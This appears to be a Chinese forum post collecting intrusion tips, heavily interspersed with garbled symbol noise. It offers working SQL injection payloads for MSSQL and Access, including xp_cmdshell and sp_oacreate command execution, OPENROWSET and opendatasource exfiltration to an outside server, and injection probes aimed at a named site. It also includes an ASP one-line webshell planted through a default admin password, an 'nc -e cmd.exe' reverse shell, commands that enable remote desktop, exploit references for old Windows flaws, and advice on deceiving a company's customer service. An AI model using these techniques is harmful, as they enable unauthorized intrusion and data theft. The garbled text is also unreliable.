SA点数据库分离技术相关9 ^# ^. ^, ^% s2 N3 P& m
- m4 }) C6 `* u k8 F/ o$ P# d5 s* I+ v" j$ v6 ?
SA点数据库分离搞法+语句:
! g( V9 _1 q& b2 |; N$ }* i* C$ E. \. n3 e, l5 V- z
注射点不显错,执行下面三条语句页面都返回正常。
- a5 y" \4 W& a. P( m% Yand 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
3 p1 e" n0 |1 V/ a: k- y; O& h3 ~0 [) qand 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
- v9 ^5 Z8 F1 S5 D1 Z: m$ X' K6 Uand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')4 u) u* b) m. Z
可以列目录,判断系统为2000,web与数据库分离
& c' k$ X- D, I, V* p \遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。7 @- ^: N1 [9 ~ S) M
在注射点上执行" l( E4 z0 d0 }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--) l* W7 b/ v5 \- ~1 [* X
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
! |' L, a( C9 R4 W; I还有我用NC监听得其他端口都没有得到IP。; W$ C4 y: V" n: g' Y
* E0 G5 q2 j4 h8 k& J" @, B
通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。
2 ^$ l0 h$ _& k! I6 b- ^$ ^'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--; N6 Z2 c% ]* Y& j" y2 C1 H
) p4 W2 Y H! P0 L8 K$ S) z
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
: x& k) @! y; B! ]2 [( M
- e6 `% c) g" Y N现在就猜想是不是数据库是内网而且不能连外网。7 E$ r( T! ?5 f( ^8 e
+ I6 @- S6 I4 L8 ] ^' g2 F2 k6 f
access导出txt文本代码6 l! n. b* j) A7 a
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin
% x& x* O: l8 X# i |, f) Y/ Y- e4 A; b
6 n" H4 b' J* z& I1 n# N4 }5 C2 S0 f( F2 B, [
自动跳转到指定网站代码头
$ W& |7 t; J; y k6 P8 j- B% v<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>: t2 V3 E6 P( |# D/ E
9 R+ r( i) O/ P* Y! {4 h e* |3 `5 R0 d" u4 [& k3 I
入侵java or jsp站点时默认配置文件路径:
& z! u# }+ [. I* I, m3 e6 h\web-inf\web.xml. ]( @3 B4 _3 [
tomcat下的配置文件位置:
2 ?6 z7 Y+ A# Y( ~6 n\conf\server.xml (前面加上tomcat路径)# N) x1 F# j% X! l2 F5 j9 N+ A
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
2 {/ Q, q$ n1 g: Z" m+ ?
2 z! c H0 p/ F- O: W. m! C6 X1 l H! d. U; H
# R9 e( Y. t2 a2 c检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:% x/ ?+ ]/ n9 `# I$ M! Z
-1%233 l/ `; c$ p1 M, f' h. u! f
> 9 _' A/ e" n% ^+ f% R* |/ X
<
" e! S$ `9 ?( h) p4 g( w1 o! o0 @* F9 L1'+or+'1'='1
$ @" Q9 W* m: R4 k! L1 d! p G: sid=8%bf
/ L, l$ N" u! B5 K% t$ @
7 G9 B1 H+ G- _2 t) s+ d' Z全新注入点检测试法:
9 y2 Z1 t. U& ]7 N! A* L T5 o在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。
7 @! d) J/ t6 c4 s- a' P+ P( }. T* F! {5 P; Y9 S
在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
1 h6 L: y; j. C# a
, d" S9 y; ~3 P) b搜索型注入判断方法:& ~8 v9 h( t, R6 x: t
北京%' and '1'='1' and '%'='
; k$ P- I$ K6 e& W1 L+ x北京%' and '1'='2' and '%'='
! A* }% \( _/ g5 J+ I& w2 i
3 l5 z+ M' x) l2 |* k- p3 S; V
" I- Z( T+ @5 @( i0 j Z& D& ^COOKIES注入:6 A0 ?# Y8 m2 O* e6 n9 i7 M
- H+ D; Q5 F- ujavascript:alert(document.cookie="id="+escape("51 and 1=1"));
$ w6 r J" n& u! X
0 ]/ P" U6 D* q7 ]2000专业版查看本地登录用户命令:/ Y+ v& m Y& j/ X" a
net config workstation
* h1 u8 a% ~% A4 o$ [7 N/ k! F1 v6 U7 E: z# ?9 j4 U
) P( W" L$ Y' A
2003下查看ipsec配置和默认防火墙配置命令:
$ s k, W- s! l) _netsh firewall show config9 N* S& t% J0 D+ C4 U. u
netsh ipsec static show all4 @. V9 h" u L; R4 l# |2 j
: Z% Q4 Q( p; ^/ s4 e$ Y不指派指定策略命令:
1 V, E0 R4 S0 o9 h; K: ~( Wnetsh ipsec static set policy name=test assign=n (test是不指派的策略名)- q. ] C( f4 M: i- E! ?7 ~9 n
netsh ipsec static show policy all 显示策略名' O) T8 e5 P4 ]. t3 h% n5 @
L0 Z% J$ y0 B( d: @3 J" ^
1 F" V3 E( V! ~7 b* ~" w7 z5 U猜管理员后台小技巧:- d S* l/ g% r1 @8 h, _
admin/left.asp 5 ~# L5 d$ ]- s# V; L8 A0 M
admin/main.asp$ Y! l* D% @# {- u4 N3 \; M
admin/top.asp* S0 Y( z' ~7 u1 |8 }9 \
admin/admin.asp 0 N. g1 `9 M: q7 n6 V+ u
会现出菜单导航,然后迅雷下载全部链接7 X8 B# ^6 f- W7 m
' K: K6 W6 S4 o1 L* t! ]* @
1 ]% a* P# m. G! T1 o. z2 j* K- ^
社会工程学:' m: W4 ?% e+ W/ g; ~
用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人! S# S3 @5 U$ R* e
然后去骗客服3 r3 t' w$ g& z, O% j
: W3 {9 V; r6 x! ^5 O" z; F) L' {
" V- n# z/ t3 T& E8 f2 S& K7 B统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
0 e2 x$ I. o0 I' ?查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
7 L3 M; S, ^* Q- C* S 存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。0 B4 T* N# t' r/ @
+ f4 x2 m2 d4 W0 Y+ |' Q. K$ C# u8 r
7 l, g/ Z. W- }# d/ E
0 {/ J* F' _; L+ T" {6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查)
0 W$ x( b |# N4 a& B. e0 |
9 N2 Z' q8 B$ I
+ E1 A7 z! }( w3 H. I$ N, S# R2 y w7 Q4 R9 B( w) v
CMD加密注册表位置: {" h" H7 J9 Y% m- P. O
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor( W+ n; A g( d* U! S: l
AutoRun8 [% w( S, o/ e7 d3 |0 C1 e" z
# n5 Z2 S; T+ u0 o! I O
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor! @ S# I$ I h( r3 g" [
AutoRun8 ?* a* F6 a# D F( T8 O
. t$ Q! @, Q! \5 u$ z% Y+ v. O) I2 }& t3 Z) h# f% M
在找注入时搜索Hidden,把他改成test. C5 Y3 W: A4 y& B7 v; u* U
( F4 \. ~# F) c4 u3 `6 x7 r6 w
# K' W. C7 W$ O
/ ~9 {( b5 `/ q+ N) |- Dmstsc /v:IP /console % T# T7 }9 R; o( r7 g6 M6 T
+ _& P0 }* T2 j1 x2 g2 R5 D# U
1 ]+ U9 P9 u$ j, w. C& G' ~/ {一句话开3389:
& E/ a% [. D+ {9 y) x2 d+ L- o) ?- c) q9 k. U6 j6 e
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH> . V# m8 b2 B# G4 f/ W
开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.6 m& v' P% i3 g2 o3 e0 @
; U) t9 v9 d; |+ t0 q
$ {4 z$ W! _3 k# y8 E知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
$ u3 b# J+ L( n2 |7 b G8 OInsert into admin(user,pwd) values('test','test')
9 w8 A! i" z; B/ l7 K7 Q- y1 \2 {6 _, k
; o4 g3 Z- g# t
NC反弹) Q- r- W% F8 z0 H
先在本机执行: nc -vv -lp 监听的端口 (自己执行) 1 s% R* `# D' v; k) r9 J% p3 s
然后在服务器上执行: nc -e cmd.exe 自己的IP 和监听的端口 (对方执行); N2 Y( W. T0 G7 j
8 j+ b) ^- p0 g1 i
, O0 }+ ^& u" b, y9 c在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
5 u+ B5 B3 s+ C) \8 U/ O6 Z5 |% Q s+ k) v
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
* x6 i# h6 a; v0 I1 g; J0 L例如:/ b3 X; A5 Y# Z0 d L
subst k: d:\www\ 用d盘www目录替代k盘
2 ?7 S3 f5 M/ i# Z$ n( lsubst k: /d 解除K盘代替 |